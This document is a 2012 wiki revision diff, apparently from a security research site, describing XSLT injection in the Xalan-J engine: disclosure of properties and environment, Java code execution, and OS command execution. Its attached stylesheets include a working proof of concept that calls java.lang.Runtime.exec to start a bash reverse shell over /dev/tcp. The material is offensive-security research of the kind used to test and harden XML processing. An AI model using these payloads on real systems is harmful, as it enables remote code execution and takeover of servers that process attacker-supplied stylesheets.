Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 37.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:27
Change comment: There is no comment for this version
To version Icon 47.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:47
Change comment: Upload new attachment xalanj-reverse-bash.xsl

Summary

Details

Icon Page properties
Content
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19 19  
20 20  == Special features ==
21 21  
22 -* File creation
23 -* Code execution
24 -* JDBC connectivity
25 25  * Java properties disclosure
26 26  * Java environment disclosure
24 +* Java code execution
25 +* OS command execution
26 +* File creation
27 +* JDBC connectivity
27 27  
28 28  == Java properties disclosure ==
29 29  
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32 32  |=Namespace|=Function|=PoC|=Sample output
33 33  |http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
34 34  
35 -
36 -
37 37  == Java environment disclosure ==
38 38  
39 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...).
38 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
40 40  
41 41  |=Namespace|=Extension function|=PoC|=Sample output
42 42  |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
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45 45  
46 46  The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
47 47  
48 -
49 49  |=Namespace|=Extension function|=PoC|=Sample output
50 50  |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
51 51  Wed Jan 11 22:45:07 CET 2012
52 52  
53 -== Execution of external commands ==
51 +== OS command execution ==
54 54  
53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT), but this is not a problem if a reverse-shell have already been started, isn't it ;-)
54 +
55 +
56 +Note : as arrays are not a native type in XSLT, we create one via split() before passing it as an argument to exec(String[] cmdarray).
57 +
58 +
59 +
55 55  The following code will execute the command "touch /tmp/hello" :
56 56  
57 57  <?xml version="1.0"?>
Icon xalanj-java-date.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
Size
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1 +409 bytes
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1 +<xsl:stylesheet version="1.0"
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 + exclude-result-prefixes="date">
5 + <xsl:output method="text"/>
6 + <xsl:template match="/">
7 + <xsl:variable name="dateObject" select="date:new()"/>
8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 + </xsl:template>
10 +</xsl:stylesheet>
11 +
Icon xalanj-reverse-bash.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
Size
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1 +1002 bytes
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1 +<xsl:stylesheet
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:jv="http://xml.apache.org/xalan/java"
4 + exclude-result-prefixes="jv"
5 + version="1.0">
6 +
7 + <xsl:template match="/">
8 +
9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 +
14 +Objet "String" :
15 + <xsl:value-of select="$test"/>
16 +
17 +Objet "Array" :
18 + <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 + <xsl:value-of select="$aAsString"/>
20 +
21 +Objet "Runtime" :
22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 + <xsl:value-of select="$rtobjectAsString"/>
24 +
25 +Objet "Process" :
26 + <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 + <xsl:value-of select="$processAsString"/>
28 +
29 + </xsl:template>
30 +</xsl:stylesheet>
31 +